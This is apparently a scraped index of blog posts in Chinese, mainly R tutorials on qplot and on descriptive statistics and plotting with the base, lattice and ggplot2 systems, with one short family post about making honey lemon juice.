\u0026quot;bar\u0026quot;：長條圖，適用於離散型的類別資料。 在圖形上加入 Smoother 在資料點很多的二維圖形上，有時候不容易看出整體的資料趨勢，這時候可以加上一條平滑曲線幫助判讀。若要同時指定多種 geom，可以使用 c 函數來指定：\nqplot(carat, price, data = diamonds.subset, geom = c(\u0026#34;point\u0026#34;, \u0026#34;smooth\u0026#34;)) qplot 在解讀 geom 參數時，若遇到多個幾何圖形，就會依照這裡指定的順序依序畫在圖形上：\nqplot(carat, price, data = diamonds, geom = c(\u0026#34;point\u0026#34;, \u0026#34;smooth\u0026#34;)) 箱形圖與 Jitter 資料點 當一組資料同時含有一個類別型的變數以及一個或多個連續型的變數時，資料分析者通常都會想要比較各類別中各連續型變數的分佈狀況，而最常用的圖形就是箱形圖：\nqplot(color, price / carat, data = diamonds, geom = \u0026#34;boxplot\u0026#34;) 箱形圖僅帶有 five numbers 的資訊，若想要看到更細部的資訊，可以使用 jitter 的方式繪製資料點，它可以將每一個資料點都畫出來：\nqplot(color, price / carat, data = diamonds, geom = \u0026#34;jitter\u0026#34;) 在資料量太多的時候，可以使用透明度的技巧：\nqplot(color, price / carat, data = diamonds, geom = \u0026#34;jitter\u0026#34;, alpha = I(1 / 5)) qplot(color, price / carat, data = diamonds, geom = \u0026#34;jitter\u0026#34;, alpha = I(1 / 50)) qplot(color, price / carat, data = diamonds, geom = \u0026#34;jitter\u0026#34;, alpha = I(1 / 200)) 以 jitter 的方式繪圖可以顯示資料分佈的細部資訊，彌補箱形圖的不足。以這個例子而言，雖然不同透明度的 jitter 資料點可以顯示資料集中的區域，不過箱形圖可能還是比較容易辨識。\n以 jitter 繪製資料點時，可以同時配合散佈圖中的各種參數來調整圖形，例如：size、color 與 shape，而箱形圖也可以使用 color、fill 與 size 來調整顏色與線條粗細。\n練習\n# 以資料點的形狀區分 cut 變數 qplot(color, price / carat, data = diamonds, geom = \u0026#34;jitter\u0026#34;, alpha = I(1 / 5), shape = cut) # 以資料點的顏色區分 color 變數 qplot(color, price / carat, data = diamonds, geom = \u0026#34;jitter\u0026#34;, alpha = I(1 / 5), color = color) # 以資料點的顏色區分 cut 變數 qplot(color, price / carat, data = diamonds, geom = \u0026#34;jitter\u0026#34;, alpha = I(1 / 5), color = cut) # 以箱形圖的外框顏色區分 color 變數 qplot(color, price / carat, data = diamonds, geom = \u0026#34;boxplot\u0026#34;, color = color) # 以箱形圖的內部顏色區分 color 變數 qplot(color, price / carat, data = diamonds, geom = \u0026#34;boxplot\u0026#34;, fill = color) # 調整箱形圖的外框粗細 qplot(color, price / carat, data = diamonds, geom = \u0026#34;boxplot\u0026#34;, size = I(2)) 直方圖與密度函數 直方圖可以顯示一維資料的分佈狀況：\nqplot(carat, data = diamonds, geom = \u0026#34;histogram\u0026#34;) 直方圖的 bin 寬度可以使用 binwidth 參數調整：\nqplot(carat, data = diamonds, geom = \u0026#34;histogram\u0026#34;, binwidth = 0.5, xlim = c(0, 3)) 某些資料的細部資訊可能要在 bin 的寬度非常小的情況下才會顯現出來：\nqplot(carat, data = diamonds, geom = \u0026#34;histogram\u0026#34;, binwidth = 0.01, xlim = c(0, 3)) 若要同時呈現多組資料、相互比較時，可以加上美學對應：\nqplot(carat, data = diamonds, geom = \u0026#34;histogram\u0026#34;, fill = color) 當美學對應指定為一個類別型的變數時，會讓資料以此類別變數為依據區分為多個群組，所以 qplot 在這種狀況下就會用不同顏色畫出不同的鑽石顏色的資料，產生堆疊式的直方圖。\n密度函數圖的作用也跟直方圖類似：\nqplot(carat, data = diamonds, geom = \u0026#34;density\u0026#34;) 使用 adjust 參數調整密度函數圖的平滑程度，這個值越大則曲線越平滑，其效果類似直方圖的 bin 寬度：\nqplot(carat, data = diamonds, geom = \u0026#34;density\u0026#34;, adjust = 3) 密度函數圖可以同時呈現多組資料的分佈：\nqplot(carat, data = diamonds, geom = \u0026#34;density\u0026#34;, color = color) 在比較多組資料時，密度函數圖可能比較容易閱讀，不過這種圖形是假設資料本身是屬於無界（unbounded）的連續型資料，若資料的類型不屬於這種就要注意。\n如果要將直方圖密度函數圖畫在一起，可將 y 軸的單位指定為密度，再畫出兩種圖形：\nqplot(carat, ..density.., data = diamonds, geom = c(\u0026#34;histogram\u0026#34;, \u0026#34;density\u0026#34;)) 長條圖 長條圖跟直方圖類似，用於表示類別型的離散資料，在 ggplot 系統下使用 bar 這個 geom 繪製長條圖時，它會自動計算每個類別的數量，不需要像傳統的 barchart 一樣自行計算列聯表。如果您已經把列聯表算出來了，或是想要自行指定列聯表的計算方式，可以使用 weight 這個參數指定數值的來源。\nqplot(color, data = diamonds, geom = \u0026#34;bar\u0026#34;) qplot(color, data = diamonds, geom = \u0026#34;bar\u0026#34;, weight = carat) + ylab(\u0026#34;carat\u0026#34;) 時間序列與路徑 line 與 path 這兩種 geom 可以用來繪製時間序列與路徑類型的資料，path 會依據資料在 data frame 中的順序，將每一個點以線段連接起來，而 line 則是會將點的順序依據 x 軸座標來排序。通常 line 圖形的 x 軸是時間的資訊，用來呈現某個變數隨著時間的變化，而 path 則是用在比較兩個變數隨的時間變化的關係。\n由於在 diamonds 資料集中沒有時間的資訊，我們改用 economics 這個資料集來示範，這個資料集包含了美國近 40 年的一些經濟發展相關數據。\nunemploy 是失業人口，而 pop 則是人口總數，單位都是千人，相除之後即可計算失業率：\nqplot(date, unemploy / pop, data = economics, geom = \u0026#34;line\u0026#34;) uempmed 是失業時間的中位數，單位為週：\nqplot(date, uempmed, data = economics, geom = \u0026#34;line\u0026#34;) 如果想要進一步細看失業率與失業時間之間的關係，最簡單的做法就是將這兩個數值用 x 與 y 的散佈圖畫出來，不過這樣的缺點就是無法看出時間上的資訊，另外一種畫法是使用 path 的方式依據時間把每個點連接起來：\nqplot(unemploy / pop, uempmed, data = economics, geom = c(\u0026#34;point\u0026#34;, \u0026#34;path\u0026#34;)) 為了讓時間的資訊更容易辨識，可以再加上顏色來表示不同的年份：\nyear \u0026lt;- function(x) as.POSIXlt(x)$year + 1900 qplot(unemploy / pop, uempmed, data = economics, geom = \u0026#34;path\u0026#34;, colour = year(date)) 從這樣的圖形上可以看得出來，失業率與失業時間之前呈現高度的正相關，而且最近幾年在相同失業率的狀況下，失業時間中位數比以往更高。\n對於多個個體的時間序列資料，我們可能會需要在一張圖形上畫出好多條線，每一條線代表一個個體，以利互相比較，這種狀況則可使用 group 這個美學對應。\n繪圖面（Facet） 善用 ggplot 的美學對應可以讓同一張圖形中的資料很方便的區分成不同的群組，而 ggplot 的繪圖面（facet）功能則提供另外一種資料區隔方式，它會先將資料分組後畫在表格式圖形中，而每一個子圖形的座標都相同，方便互相比較。\nqplot 的繪圖面功能是使用 facets 參數配合公式的方式指定，公式的左邊是列（row）、右邊是行（column），例如：\nqplot(carat, data = diamonds, facets = color ~ cut, geom = \u0026#34;histogram\u0026#34;, binwidth = 0.1, xlim = c(0, 3)) 若只需要對一個變數分組，則將公式另一側指定為一個句點（.），例如：\nqplot(carat, data = diamonds, facets = color ~ ., geom = \u0026#34;histogram\u0026#34;, binwidth = 0.1, xlim = c(0, 3)) 其他用法 qplot 還有一些可以調整圖形的參數，這些用法與傳統的 plot 參數類似。\nxlim、ylim：設定 x 軸與 y 軸的繪圖範圍。 log：指定需要對數轉換的座標軸，例如 log = \u0026quot;x\u0026quot; 就是將 x 軸經過對數轉換，而 log = \u0026quot;xy\u0026quot; 則是讓 x 與 y 軸都經過對數轉換。 main：指定圖形的標題，可指定為一般的字串或是以 expression 來表示的數學公式（詳細說明請參考 plotmath 的線上說明）。 xlab、ylab：指定 x 軸與 y 軸的名稱，其與 main 一樣可以指定為字串或數學公式。 以下是一個使用範例：\nqplot( carat, price, data = diamonds.subset, xlab = \u0026#34;Price ($)\u0026#34;, ylab = \u0026#34;Weight (carats)\u0026#34;, main = \u0026#34;Price-weight relationship\u0026#34; ) qplot( carat, price/carat, data = diamonds.subset, ylab = expression(frac(price,carat)), xlab = \u0026#34;Weight (carats)\u0026#34;, main=\u0026#34;Small diamonds\u0026#34;, xlim = c(.2, 1) ) qplot(carat, price, data = diamonds.subset, log = \u0026#34;xy\u0026#34;) qplot 與 plot 的差異 以下是 qplot 的一些注意事項，以及與傳統 plot 之間的一些主要差異：\nqplot 並不是泛用型的函數，不像 plot 可以接受各種的 R 物件，對不同類別的物件畫出不同的圖形。而 ggplot 這個函數則是一個泛用型的函數，它可以建立一個繪圖的基礎物件，並配合其他函數產生各種圖形。 一般來說美學對應都會指定為一個有興趣的變數，讓 ggplot 自動依據該變數畫圖，如果只是單純要指定一個固定值，可以使用 I 函數，例如 color = I(\u0026quot;red\u0026quot;)。 傳統 plot 中的 col、pch 與 cex 等參數也可以用於 qplot 中，不過建議改用 ggplot 本身的參數名稱會比較好記，例如：color、shape 與 size。 在傳統的 R 繪圖系統上，若要在既有的圖形上增加元素，會使用 points、lines 或 text 這些函數，而在 ggplot 系統中則會以增加圖層（layers）的方式處理。 qplot 範例 # 產生繪圖用的因子變數 mtcars$gear \u0026lt;- factor(mtcars$gear,levels=c(3, 4, 5), labels=c(\u0026#34;3gears\u0026#34;, \u0026#34;4gears\u0026#34;, \u0026#34;5gears\u0026#34;)) mtcars$am \u0026lt;- factor(mtcars$am,levels=c(0, 1), labels=c(\u0026#34;Automatic\u0026#34;, \u0026#34;Manual\u0026#34;)) mtcars$cyl \u0026lt;- factor(mtcars$cyl,levels=c(4, 6, 8), labels=c(\u0026#34;4cyl\u0026#34;, \u0026#34;6cyl\u0026#34;, \u0026#34;8cyl\u0026#34;)) # 以 gear 分組畫出 mpg 密度函數圖 qplot(mpg, data = mtcars, geom = \u0026#34;density\u0026#34;, fill = gear, alpha = I(.5), main=\u0026#34;Distribution of Gas Milage\u0026#34;, xlab=\u0026#34;Miles Per Gallon\u0026#34;, ylab=\u0026#34;Density\u0026#34;) # 將資料以 gear 與 cylinder 分組， # 畫出 mpg 與 hp 的散佈圖， # 並且以資料點的顏色與形狀標示 am qplot(hp, mpg, data = mtcars, shape = am, color = am, facets = gear~cyl, size = I(3), xlab = \u0026#34;Horsepower\u0026#34;, ylab = \u0026#34;Miles per Gallon\u0026#34;) # 畫出箱形圖， # 並且在上面用 jitter 資料點畫出實際資料的位置 qplot(gear, mpg, data = mtcars, geom = c(\u0026#34;boxplot\u0026#34;, \u0026#34;jitter\u0026#34;), fill = gear, main = \u0026#34;Mileage by Gear Number\u0026#34;, xlab = \u0026#34;\u0026#34;, ylab = \u0026#34;Miles per Gallon\u0026#34;) ","permalink":"https://blog.gtwang.org/r/ggplot2-tutorial-basic-concept-and-qplot/","summary":"\u003cp\u003e這裡介紹如何使用 R 的 \u003ccode\u003eggplot2\u003c/code\u003e 繪圖套件，輕鬆畫出高品質的各種統計圖形。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eggplot\u003c/code\u003e 是以繪圖文法概念為基礎所發展出來的一套 R 繪圖系統，可繪製各種高品質圖形的 R 繪圖套件，是一套相當受歡迎的繪圖工具。\u003c/p\u003e","title":"R ggplot2 教學：基本概念與 qplot 函數"},{"content":"這是我們家阿玄自己榨檸檬汁，感覺很新鮮的樣子。\n最近我們又買了一些屏東潮州的無毒檸檬，用來做手工的天然檸檬清潔劑，而削完皮的檸檬就拿來榨檸檬汁喝，阿玄對榨檸檬汁很有興趣。\n這是用來擠檸檬汁的器具，寶雅或一般的五金行就可以買到，削完皮的檸檬直接拿來榨果汁最棒了。\n阿玄擠檸檬汁。\n很賣力的樣子。\n削完皮的檸檬比較軟，比較好擠。\n阿玄真的擠得很認真。\n擠完的檸檬渣，這些都是阿玄自己擠的。\n擠完汁之後，要倒進玻璃瓶子裡面。\n倒檸檬汁也是阿玄自己來。\n接著倒入與檸檬汁相同比例的蜂蜜。\n這樣就是好喝的蜂蜜檸檬原汁了。\n蜂蜜倒進去之後，要喝之前還要搖均勻。\n倒一點蜂蜜檸檬原汁出來。\n再沖一些開水就是好喝的蜂蜜檸檬汁了。\n阿玄很喜歡喝這個蜂蜜檸檬汁。\n我們家阿玄時常都會喝這個。\n製作檸檬清潔劑之後剩下的大量檸檬，可以把檸檬汁擠出來，加上相同比例的蜂蜜，這樣可以很方便放在冰箱保存。\n","permalink":"https://blog.gtwang.org/personal/qixuan-squeeze-lemon-juice-20160703/","summary":"\u003cp\u003e這是我們家阿玄自己榨檸檬汁，感覺很新鮮的樣子。\u003c/p\u003e\n\u003cp\u003e最近我們又買了一些\u003ca href=\"/agriculture/nontoxic-lemon-chaozhou-pingtung/\"\u003e屏東潮州的無毒檸檬\u003c/a\u003e，用來做\u003ca href=\"/diy/diy-handmade-lemon-aloe-cleaner-small-family-recipe/\"\u003e手工的天然檸檬清潔劑\u003c/a\u003e，而削完皮的檸檬就拿來榨檸檬汁喝，阿玄對榨檸檬汁很有興趣。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這是用來擠檸檬汁的器具，寶雅或一般的五金行就可以買到，削完皮的檸檬直接拿來榨果汁最棒了。\u003c/p\u003e","title":"阿玄擠檸檬汁，自製蜂蜜檸檬汁"},{"content":"這裡介紹如何使用 R 的基本資料探索函數與繪圖功能，檢視首次拿到的資料。\n當我們將資料整理好並匯入 R 環境中之後，下一步就是要仔細檢視資料本身所含有的資訊，而最常被用來檢視原始資料的方法就是一些基本的統計量與各種圖形，R 本身就有內建計算各種統計量與繪圖的函數，以下我們將介紹比較常用的一些基本函數及其使用方式。\n敘述統計 在前面的教學內容中，我們已經有提到好幾種計算基本統計量的函數，其中有許多函數只要看到函數名稱就可以了解它的作用，例如計算平均數的 mean 與計算中位數的 median 等，我們以 iris 這個 R 內建的鳶尾花資料集來做示範：\nmean(iris$Sepal.Length) [1] 5.843333 median(iris$Sepal.Length) [1] 5.8 鳶尾花資料集（iris）是一組非常著名的生物資訊資料集，資料筆數總共有 150 筆，每筆資料有 5 個欄位，各欄位的意義如下：\nSepal.Length：花萼長度，計算單位是公分。 Sepal.Width：花萼寬度，計算單位是公分。 Petal.Length：花瓣長度，計算單位為公分。 Petal.Width：花瓣寬度，計算單位為公分。 Species：品種，可分為 Setosa、Versicolor 與 Virginica 三種。 關於鳶尾花資料集的詳細描述，可以參考維基百科的資料。\nmin 與 max 分別可計算資料的最小值與最大值：\nmin(iris$Sepal.Length) [1] 4.3 max(iris$Sepal.Length) [1] 7.9 range 則可計算資料的分佈範圍，也就是最小值與最大值：\nrange(iris$Sepal.Length) [1] 4.3 7.9 table 函數可以計算類別型資料的列聯表（contingency table）：\ntable(iris$Species) setosa versicolor virginica 50 50 50 對於連續型的變數，可以使用 cut 將資料分成多個區間，再用 table 計算每個區間的資料數目：\ntable(cut(iris$Sepal.Length, seq(4,8))) (4,5] (5,6] (6,7] (7,8] 32 57 49 12 var 與 sd 兩個函數可以計算資料的變異數與標準差：\nvar(iris$Sepal.Length) [1] 0.6856935 sd(iris$Sepal.Length) [1] 0.8280661 mad 函數則可計算平均絕對偏差（median absolute deviation）：\nmad(iris$Sepal.Length) [1] 1.03782 quantile 可以計算資料的各個分位數：\nquantile(iris$Sepal.Length) 0% 25% 50% 75% 100% 4.3 5.1 5.8 6.4 7.9 可以自行指定分位數的機率值：\nquantile(iris$Sepal.Length, c(0.9, 0.95, 0.99)) 90% 95% 99% 6.900 7.255 7.700 fivenum 也是一個可以計算各個分位數的函數，不過它的計算速度比 quantile 快一些：\nfivenum(iris$Sepal.Length) [1] 4.3 5.1 5.8 6.4 7.9 summary 可以計算向量或 data frame 的一些基本統計量：\nsummary(iris) Sepal.Length Sepal.Width Petal.Length Petal.Width Species Min. :4.300 Min. :2.000 Min. :1.000 Min. :0.100 setosa :50 1st Qu.:5.100 1st Qu.:2.800 1st Qu.:1.600 1st Qu.:0.300 versicolor:50 Median :5.800 Median :3.000 Median :4.350 Median :1.300 virginica :50 Mean :5.843 Mean :3.057 Mean :3.758 Mean :1.199 3rd Qu.:6.400 3rd Qu.:3.300 3rd Qu.:5.100 3rd Qu.:1.800 Max. :7.900 Max. :4.400 Max. :6.900 Max. :2.500 cor 函數可以計算兩個向量之間的相關係數：\ncor(iris$Petal.Length, iris$Petal.Width) [1] 0.9628654 cancor 函數則可計算更詳細的相關係數資料：\ncancor(iris$Petal.Length, iris$Petal.Width) $cor [1] 0.9628654 $xcoef [,1] [1,] 0.04640756 $ycoef [,1] [1,] 0.1074772 $xcenter [1] 3.758 $ycenter [1] 1.199333 而 cov 則可計算共變異數：\ncov(iris$Petal.Length, iris$Petal.Width) [1] 1.295609 R 繪圖系統 R 具備了相當完整的繪圖功能，而其繪圖系統大致可分為三大類：\nbase 與 grid 系統 base 是最早期的 R 繪圖系統，功能比較簡單、上手也很容易，但擴充性較差，若要繪製較複雜的圖形會有一些困難。而由於 base 繪圖系統在使用上有些限制，所以後來又發展出一套 grid 繪圖系統，它可以讓使用者以較低階的方式繪圖，例如繪製點、線或是方塊等，雖然 grid 的彈性很大，但是對於資料量比較大的圖形，要用這麼低階的方式畫圖還是會有困難。\nlattice 系統 lattice 是根據 grid 為基礎所發展出來的一套繪圖系統，對於各種常見的圖形提供了比較高階的繪圖函數，跟傳統的 base 系統相較之下，lattice 主要有兩個特點：\n所有的繪圖結果都可以儲存在變數當中（不像 base 是直接畫在螢幕上的），也就是說在 lattice 系統之下，使用者可以對畫出來的圖形做進一步的修改，然後再重新畫出新的結果，對於一系列相類似的圖組也可以使用這樣的技巧加速繪圖的速度，另外也可以把繪圖結果儲存下來，供日後使用。 lattice 的第二個特色則是一張圖形中可以包含多個子繪圖區域，亦即使用者可以將多張子圖形直接放在同一張圖中一起比較，省去了自己手動合併多張圖形的困擾。 ggplot2 系統 ggplot2 也是一個以 grid 所發展出來的繪圖系統，承襲了 lattice 的兩大特色，並加入了繪圖文法的概念，其名稱中的 gg 所代表的是 grammar of graphics，意指將圖形拆解成許多組件的繪圖系統，語法與傳統式的單一函數呼叫繪圖有些不同，而其所產生的圖形也比前兩種繪圖系統美觀。\n很不幸地這三種 R 繪圖系統在大部分的狀況下都不相容，雖然最新的 ggplot2 繪圖系統的功能相當完整，而且畫出的圖形也比較漂亮，多數的圖形都可以使用 ggplot2 來完成，但是由於舊的兩個繪圖系統已經在 R 中存在相當長一段時間，有非常大量的 R 套件在繪圖的功能上都是使用這兩個舊系統，所以在使用 R 時難免都會接觸到，所以還是對它們需要有基本的認識。\n以下我們介紹各種常見的基本圖型在三種系統的繪圖方式。\n散佈圖（Scatter Plots） 散佈圖應該是最簡單也最常用的圖形，主要可以用來檢視不同資料之間的關係。\nbase 系統 在 base 系統可以使用 plot 函數來畫出資料的散佈圖。\nplot(iris$Petal.Length, iris$Petal.Width) plot 函數有許多可調整的參數，col 參數可以調整資料點的顏色，顏色可以使用名稱或是類似 HTML 的十六進位碼來指定，而 pch 可以更換資料點的樣式：\nplot(iris$Petal.Length, iris$Petal.Width, col = \u0026#34;red\u0026#34;, pch = 8) 若要以 base 繪圖系統將多張圖畫在一起，需要先以 layout 先設定排版方式，雖然可行，但是會比較麻煩一點：\npar(mar = c(3, 3, 0.5, 0.5), oma = rep.int(, 4), mgp = c(2, 1, )) species \u0026lt;- levels(iris$Species) plot_numbers \u0026lt;- seq_along(species) layout(matrix(plot_numbers, ncol = 3, byrow = TRUE)) for(s in species) { data.by.species \u0026lt;- subset(iris, Species == s) with(data.by.species, plot(Sepal.Length, Sepal.Width)) } 關於 plot 函數的詳細使用方式，可以參考 R plot 繪圖函數。\nlattice 系統 在 lattice 繪圖系統中，若要繪製散佈圖則可使用 xyplot，這個函數是以公式（formula）的方式來指定 x 與 y 軸的資料（關於公式的寫法，可以參考 R 機率分佈與線性模型）：\nlibrary(lattice) xyplot(Petal.Width ~ Petal.Length, iris) 大部分 xyplot 的參數使用方式跟 base 系統的 plot 相同：\nxyplot(Petal.Width ~ Petal.Length, iris, col = \u0026#34;red\u0026#34;, pch = 8) 由於 xyplot 是使用公式的方式指定繪圖用的資料，如果要將資料先分組後再畫出每一組的圖形，使用公式的做法非常簡潔：\nxyplot(Petal.Width ~ Petal.Length | Species, iris) layout 參數可以整圖形的排版：\nxyplot(Petal.Width ~ Petal.Length | Species, iris, layout = c(3, 1)) 使用 lattice 繪圖系統所繪製的圖形可以儲存在變數中，在圖形畫出來之後，還可以陸續更新：\nmy.plot \u0026lt;- xyplot(Petal.Width ~ Petal.Length | Species, iris, layout = c(3, 1)) my.plot2 \u0026lt;- update(my.plot, col = \u0026#34;red\u0026#34;, pch = 8) my.plot2 ggplot2 系統 ggplot2 的繪圖方式與以往的繪圖系統有一個根本上的差異，每一張圖都會以 ggplot 函數來建立基本的 ggplot 繪圖物件，並指定資料來源以及資料與圖形之間的對應關係，接著再用加號（+）連接後續的繪圖類型與細部參數：\nlibrary(ggplot2) ggplot(iris, aes(x = Petal.Length, y = Petal.Width)) + geom_point() ggplot 的第一個參數是指定資料來源的 data frame，而第二個參數則是指定資料與圖形的對應關係，其中 aes 是 ggplot 系統中專門用來指定資料與圖形對應關係的函數，在建立基本的繪圖物件之後，我們再加上一個 geom_point 指定以資料點的方式繪製散佈圖。\n若要改變資料點的顏色與樣式，可以在 geom_point 函數中加上一修調整的參數：\nggplot(iris, aes(x = Petal.Length, y = Petal.Width)) + geom_point(color = \u0026#34;red\u0026#34;, shape = 8) 若要將資料分組繪圖，可以在繪圖指令的最後加上一個 facet_wrap，其用法與 lattice 系統類似，也是以公式的方式指定資料：\nggplot(iris, aes(x = Petal.Length, y = Petal.Width)) + geom_point() + facet_wrap(~ Species, ncol = 3) 這裡所使用的公式 ~ Species 代表以 Species 變數分組，若要以多個變數分組，則可以使用類似 ~ var1 + var2 + var3 這樣的寫法。如果要對兩個變數來分組，也可以使用 facet_grid 函數，他可以讓圖形以矩陣的形式呈現。\nggplot 跟 lattice 一樣可以將繪製出來的圖形儲存於變數之中，進行逐步修改：\nmy.ggplot \u0026lt;- ggplot(iris, aes(x = Petal.Length, y = Petal.Width)) + geom_point() my.ggplot \u0026lt;- my.ggplot + geom_abline(intercept = -0.3631, slope = 0.4158) 折線圖（Line Plots） 對於時間序列類型的資料，折線圖是一個最常被使用的圖形，以下是以 R 的三種繪圖系統繪製折線圖的方式。\nbase 系統 這裡我們產生一些隨機性的測試資料來示範折線圖的畫法。\nset.seed(1) y1 \u0026lt;- cumsum(rnorm(100)) x \u0026lt;- seq_along(y1) 在 base 系統中的折線圖也是使用 plot 函數來繪製，只是加上一個 type 參數：\nplot(x, y1, type = \u0026#34;l\u0026#34;, ylim = c(-5, 20)) 這裡我在 plot 中多加上了一個 ylim 參數來指定 y 軸的繪圖範圍，如果不指定的話 R 也會自動判斷最佳的範圍。由於我隨後還要再加上另一條線，所以在一開始就要先將繪圖範圍設定成可以容納所有資料的大小，這樣後來再加上新的資料時才不會讓新的資料超出可繪圖的範圍。\n若要在同一張圖上畫上多條折線圖，則第二條以後的折線圖可以使用 lines 加上去：\ny2 \u0026lt;- y1 + abs(rnorm(100, 3)) lines(x, y2, col = \u0026#34;blue\u0026#34;) lattice 系統 lattice 系統的折線圖畫法也跟 base 系統類似，一樣是加上一個 type 參數：\nmy.df \u0026lt;- data.frame(x, y1, y2) xyplot(y1 ~ x, my.df, type = \u0026#34;l\u0026#34;) 若要同時畫上多條線，則可以將所有的資料以公式表示：\nxyplot(y1 + y2 ~ x, my.df, type = \u0026#34;l\u0026#34;) ggplot2 系統 在 ggplot2 系統中繪製折線圖的方式跟散佈圖差不多，只是將 geom_plot 換成 geom_line 而已：\nggplot(my.df, aes(x = x, y = y1)) + geom_line() 如果要在 ggplot 系統上同時畫出兩條線的話，情況會稍微複雜一些，由於在 ggplot 函數中使用 aes 所設定的資料與圖形對應關係會適用於整個圖形中所有的指令，相當於一個全域（global）的對應關係，而在這裡我們需要的是兩條線分別有不同的資料對應，所以我們將 y 軸的資料對應寫在個別的 geom_line 中，而 x 軸的對應則維持不變：\nggplot(my.df, aes(x = x)) + geom_line(aes(y = y1)) + geom_line(aes(y = y2)) 另一種做法是將資料用 melt 重新整理過，然後使用 group 的方式繪圖：\nlibrary(reshape2) my.df.melt \u0026lt;- melt( my.df, id.vars = \u0026#34;x\u0026#34;, measure.vars = c(\u0026#34;y1\u0026#34;, \u0026#34;y2\u0026#34;) ) ggplot(my.df.melt, aes(x = x, y = value, group = variable)) + geom_line() 對於這種有兩條線的資料，ggplot 還提供一種 geom_ribbon 函數可以將兩條線中間的區域標示出來：\nggplot(my.df, aes(x = x, ymin = y1, ymax = y2)) + geom_ribbon() 區域的顏色也可以自訂：\nggplot(my.df, aes(x = x, ymin = y1, ymax = y2)) + geom_ribbon(color = \u0026#34;black\u0026#34;, fill = \u0026#34;gray\u0026#34;) 直方圖（Histograms） 直方圖也是一種很常見的圖形，它可以讓我們看出整個資料大致上的分佈狀況。\nbase 系統 在 base 系統上的直方圖可以使用 hist 函數來繪製：\nhist(iris$Sepal.Width) 預設的狀況下 hist 繪圖時會以資料的頻率作為 y 軸的單位，若要以機率值為單位（總面積和為 1），可以將 freq 參數指定為 FALSE：\nhist(iris$Sepal.Width, freq = FALSE) hist 預設會使用 Sturges 的方式自動計算 bin 的數目，我們也可以用 breaks 參數自行指定：\nhist(iris$Sepal.Width, breaks = 5) 甚至也可以指定不等寬的 bins：\nhist(iris$Sepal.Width, breaks = c(2, 2.7, 3, 3.5, 4.5)) lattice 系統 lattice 系統的直方圖可以使用 histogram 繪製，用法與 base 系統類似，只是改以公式的方式指定資料而已：\nhistogram(~ Sepal.Width, iris) histogram 的 y 軸單位有三種方式選擇，分別為：percent、count 與 density：\nhistogram(~ Sepal.Width, iris, type = \u0026#34;count\u0026#34;) breaks 的用法也跟 hist 相同：\nhistogram(~ Sepal.Width, iris, breaks = 5) ggplot2 系統 在 ggplot2 系統中直方圖可以使用 geom_histogram 繪製：\nggplot(iris, aes(Sepal.Width)) + geom_histogram() bins 可以指定 bin 的數量：\nggplot(iris, aes(Sepal.Width)) + geom_histogram(bins = 5) 若要改變 y 軸的單位，可以從 aes 的對應關係來指定，可用的參數有 ..count.. 與 ..density..，分別代表次數與密度：\nggplot(iris, aes(x = Sepal.Width, y = ..density..)) + geom_histogram(bins = 5) 箱形圖（Box Plots） 箱形圖的作用也是用來呈現資料的大致分佈情形，常用於比較不同資料之間的分布差異。\nbase 系統 在 base 系統中可用 boxplot 繪製箱形圖：\nboxplot(InsectSprays$count) 若要依據變數來分組繪製箱形圖，可以使用公式的方式表示：\nboxplot(count ~ spray, data = InsectSprays) 這樣就會以 spray 為依據，將 count 的值分組繪製箱形圖：\n若要依照資料的中位數來排序畫出來的箱形圖，可以先將資料整理成一個排序好的 data frame，再呼叫 boxplot 繪圖：\nmy.InsectSprays \u0026lt;- within( InsectSprays, spray \u0026lt;- reorder(spray, count, median) ) boxplot(count ~ spray, data = my.InsectSprays) lattice 系統 lattice 系統中可用 bwplot 繪製箱形圖，其用法跟 boxplot 幾乎一樣：\nbwplot(InsectSprays$count) 依據變數分組的用法也相同：\nbwplot(count ~ spray, data = InsectSprays) 排序後的箱形圖：\nbwplot(count ~ spray, data = my.InsectSprays) ggplot2 系統 在 ggplot2 系統若要繪製箱形圖，可以使用 geom_boxplot：\nggplot(InsectSprays, aes(x = spray, y = count)) + geom_boxplot() 排序後的箱形圖：\nggplot(my.InsectSprays, aes(x = spray, y = count)) + geom_boxplot() 如果使要繪製單一變數的話，可以用這樣的方式：\nggplot(InsectSprays, aes(x = 1, y = count)) + geom_boxplot() 將 x 軸與 y 軸互換：\nggplot(InsectSprays, aes(x = 1, y = count)) + geom_boxplot() + coord_flip() 長條圖（Bar Plots） 長條圖通常用來呈現各種不同資料的數量。\nbase 系統 在 base 系統中可以使用 barplot 來繪製長條圖，其第一個傳入的參數是一個向量，指定每一條 bar 的長度，如果該向量是一個具名向量，則每一個元素的名稱就會被用來當作每個 bar 的名稱：\ngear.table \u0026lt;- table(mtcars$gear) gear.table 3 4 5 15 12 5 barplot(gear.table) 若要改變每個 bar 的名稱，可以使用 names.arg 參數來指定：\nbarplot(gear.table, names.arg = c(\u0026#34;Three\u0026#34;, \u0026#34;Four\u0026#34;, \u0026#34;Five\u0026#34;)) 有時候在資料比較多或是每個 bar 的名稱比較長的時候，將長條圖以水平的方式來畫會比較適合，barplot 本身有一個 horiz 參數可以調整繪圖方向，不過他只會更改圖形的方向，文字的方向需要另外使用 par 配合 las 來修改：\npar(las = 1, mar = c(3, 5, 1, 1)) barplot(gear.table, names.arg = c(\u0026#34;Three\u0026#34;, \u0026#34;Four\u0026#34;, \u0026#34;Five\u0026#34;), horiz = TRUE) 這裡的 las 設定為 1 則代表座標軸上名稱以水平方式顯示，而 mar 則是用來調整圖形的下方、左方、上方與右方的邊界大小，關於這些參數的詳細說明，請參考 par 的線上手冊。\n二維的列連表也可以直接使用 barplot 畫出兩種資料合併的長條圖：\ngear.table2 \u0026lt;- table(mtcars$vs, mtcars$gear) gear.table2 3 4 5 0 12 2 4 1 3 10 1 barplot(gear.table2) 將兩種資料拆開來畫成兩個並列的長條圖：\nbarplot(gear.table2, beside = TRUE) lattice 系統 在 lattice 系統中可以用 barchart 來繪製長條圖：\nbarchart(gear.table) names(gear.table) \u0026lt;- c(\u0026#34;Three\u0026#34;, \u0026#34;Four\u0026#34;, \u0026#34;Five\u0026#34;) barchart(gear.table) 以二維的列連表繪製長條圖：\nbarchart(gear.table2) barchart 預設的資料方向跟 barplot 